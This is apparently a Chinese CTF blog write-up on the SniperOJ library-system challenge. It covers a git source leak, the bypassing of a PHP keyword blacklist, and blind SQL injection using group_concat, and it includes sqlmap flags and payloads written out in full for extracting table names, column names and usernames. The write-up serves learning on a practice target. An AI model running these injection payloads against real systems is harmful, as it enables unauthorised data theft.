0x00 题目概况


题目地址:http://www.sniperoj.cn:10000/

这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后注入。

挺简单的一道题,我自己卡一个地方卡了好久就是。

拖下来源码放在我服务器上,懒得拖想看看可以下载:

120.27.32.227/sniper.rar

大概分析如下:

敏感词过滤

$blacklist = array(" select "," union ","limit", " from ", "and","sleep");

foreach ($_POST as $key => $value) {

for ($i= 0;$i< count($blacklist); $i++){

if(strpos(strtolower($value), $blacklist[$i]) != false){

die("Come on inject me, you stupid srcipt kid!");

}

在注册页面:

// 判断用户是否存在

$sql_check = "SELECT userID from users where username = '$username'";

$result = $conn->query($sql_check);

if ($result->num_rows > 0) {

die("{\"status\":\"0\",\"msg\":\"用户名已存在\"}");

}

很明显的盲注点,在登录界面也有一个盲注点。(没发现哪里可以明注,本人新手还望赐教)

0x01 自己解题历程


1. 那个黑名单,“select”"union“” 可以使用内联注释绕过,或者使用其他如 /**/ 代替空格即可,and 可以用 && 代替,limit 没有找到方法绕过

2. 注入点  ,username 可以为:

' or 1 #

在 1 处进行盲注。

为真的关键词是 “用户名已存在”。

一看这么简单,加上最近深入了解了一下slqmap,所以想下直接用sqlmap跑就行。

sqlmap参数:  --string "用户名已存在" --suffix "#" --prefix " 'or " -v 3 --risk 3 --tamper space2comment.py

确实可以跑出来,但是,只能跑出数据库名,表名要靠碰撞,其他获取不到,很是困惑。

纠结了好一会,查看slqmap的payload才想起是 "limit" 在黑名单里面。

接下来就是怎么绕过limit限制的问题了。大体上思路有两种。

1. 不用limit ,寻找可以代替limit的关键字

2. 绕过限制,如编码绕过,内联注释绕过

找了挺久的资料,一无所获。没有找到mysql没有能代替limit的关键字,这里也绕过不了。

在网上看到一种这种绕过,在关键字中添加 注释   “/**/” ,如:sele/***/ct  。这是一种错误的方式,除非php会对  “/**/”进行过滤,否则,这种语句带入到数据库进行查询会报错的。

0x02 正确的思路:group_concat


大概自己思维还是太狭隘,一直在纠结怎么绕过limit ,想着盲注一定要有limit。

把源码挂在屏幕半天,偶然看自己的一下笔记才想起来使用 “group_concat”

个人对group_concat通俗理解:

进行查询,将多条查询结果以一行显示出来,即一条

如:select group_concat(username) from users

会将所有的username显示在一行

想到这,就没必要用limit 了。接下来就是写脚本的问题。

payload 如下:

获取表名:

' or ascii(substr(((select/**/group_concat(table_name)/**/from/**/information_schema.tables where table_schema=database()))from/**/1 for 1))=93 #

获取列名:

' or ascii(substr(((select/**/group_concat(column_name)/**/from/**/information_schema.columns where table_name=0x7573657273))from/**/2 for 1))=71 #

获取具体数据:

' or ascii(substr(((select/**/group_concat(username)/**/from/**/users))/**/from 2 for 1))=21 #

0x03 总结


git泄露

盲注不一定要使用 limit

记住 group_concat

使用sqlmap行不通时查看payload,别太依赖工具

题目挺简单的,自己太菜了,还要多学多看,这些远远不够

[SniperOJ](web)图书管理系统 注入 源码泄露的更多相关文章

  1. CTF中常见Web源码泄露总结

    目录00x1 .ng源码泄露 00x2  git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露  ...

  2. Web源码泄露总结

    Web源码泄露总结 背景 本文主要是记录一下常见的源码泄漏问题,这些经常在web渗透测试以及CTF中出现. 源码泄漏分类 .hg源码泄漏 漏洞成因: hg init的时候会生成.hg e.g.http ...

  3. ctf/web源码泄露及利用办法

    和上一篇文章差不多,也算是对web源码泄露的一个总结,但是这篇文章更侧重于CTF 参考文章: https://blog.csdn.net/wy_97/article/details/78165051? ...

  4. 常见的Web源码泄露总结

    常见的Web源码泄露总结 源码泄露方式分类 .hg源码泄露 漏洞成因: hg init 的时候会生成 .hg 漏洞利用: 工具: dvcs-ripper .git源码泄露 漏洞成因: 在运行git i ...

  5. [WEB安全]源码泄露总结

    原文链接:https://blog.csdn.net/qq_36869808/article/details/88895109 源码泄露总结: svn源码泄露:https://blog.csdn.ne ...

  6. [web 安全] 源码泄露

    web 源码泄露 1..hg 源码泄露 http://www.example.com/.hg/ 2..git 源码泄露 http://www.example.com/.git/config 3..ds ...

  7. ctf常见源码泄露

    前言 在ctf中发现很多源码泄露的题,总结一下,对于网站的搭建要注意删除备份文件,和一些工具的使用如git,svn等等的规范使用,避免备份文件出现在公网 SVN源码泄露 原理 SVN(subversi ...

  8. XJar: Spring-Boot JAR 包加/解密工具,避免源码泄露以及反编译

    XJar: Spring-Boot JAR 包加/解密工具,避免源码泄露以及反编译 <?xml version="1.0" encoding="UTF-8" ...

  9. 放出一批学生管理系统jsp源码,部分有框架

    基于jsp+struts 2的学生管理系统eclipse - 源码码头   https://www.icodedock.com/article/25.html 基于jsp+mysql的JSP学生成绩管 ...

随机推荐

  1. pytest(6)-Fixture(固件)

    什么是固件 Fixture 翻译成中文即是固件的意思.它其实就是一些函数,会在执行测试方法/测试函数之前(或之后)加载运行它们,常见的如接口用例在请求接口前数据库的初始连接,和请求之后关闭数据库的操作 ...

  2. Solution -「HNOI 2007」「洛谷 P3185」分裂游戏

    \(\mathcal{Description}\)   Link.   给定 \(n\) 堆石子,数量为 \(\{a_n\}\),双人博弈,每轮操作选定 \(i<j\le k\),使 \(a_i ...

  3. 前端提交数据到node的N种方式

    写在前面 本篇介绍了前端提交数据给node的几种处理方式,从最基本的get和post请求,到图片上传,再到分块上传,由浅入深. GET请求 经典的get提交数据,参数通过URL传递给node,node ...

  4. GAN实战笔记——第四章深度卷积生成对抗网络(DCGAN)

    深度卷积生成对抗网络(DCGAN) 我们在第3章实现了一个GAN,其生成器和判别器是具有单个隐藏层的简单前馈神经网络.尽管很简单,但GAN的生成器充分训练后得到的手写数字图像的真实性有些还是很具说服力 ...

  5. CSS代码示例-背景属性(background)

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. TCP三次握手原理

    本文主要讲述的是 1.TCP协议三次握手原理,以及为什么要三次握手,两次握手带来的不利后果. 2.TCP协议四次挥手原理,为什么要四次挥手. TCP协议三次握手原理: 首先,给张图片,建立TCP三次握 ...

  7. jmeter分布式导致重复登录的问题、以及写txt、csv、统计行数

    经常收到微信好友的各种问题咨询,今天分享一个比较有代表性的,希望对大家有所帮助. 一位微信好友的提问 问题如下: 问题分析 先简单介绍下服务端的处理逻辑,关于登录,服务端的逻辑一般是:校验用户名.密码 ...

  8. bugku 神秘的文件

      题目链接: https://ctf.bugku.com/challenges#%E7%A5%9E%E7%A7%98%E7%9A%84%E6%96%87%E4%BB%B6 工具准备: 1.PC 2. ...

  9. IGMP协议测试-网络测试仪实操

    一.前言:IGMP协议用于IPv4系统向任何邻居组播路由器报告其组播成员资格.IP组播路由器自己本身也可以是一到多个组播组的成员.这时,组播路由器要实现协议的组播路由器部分. IGMP存在三个不同版本 ...

  10. Java8新特性系列-Lambda

    转载自:Java8新特性系列-Lambda – 微爱博客 Lambda Expressions in Java 8 Lambda 表达式是 Java 8 最流行的特性.它们将函数式编程概念引入 Jav ...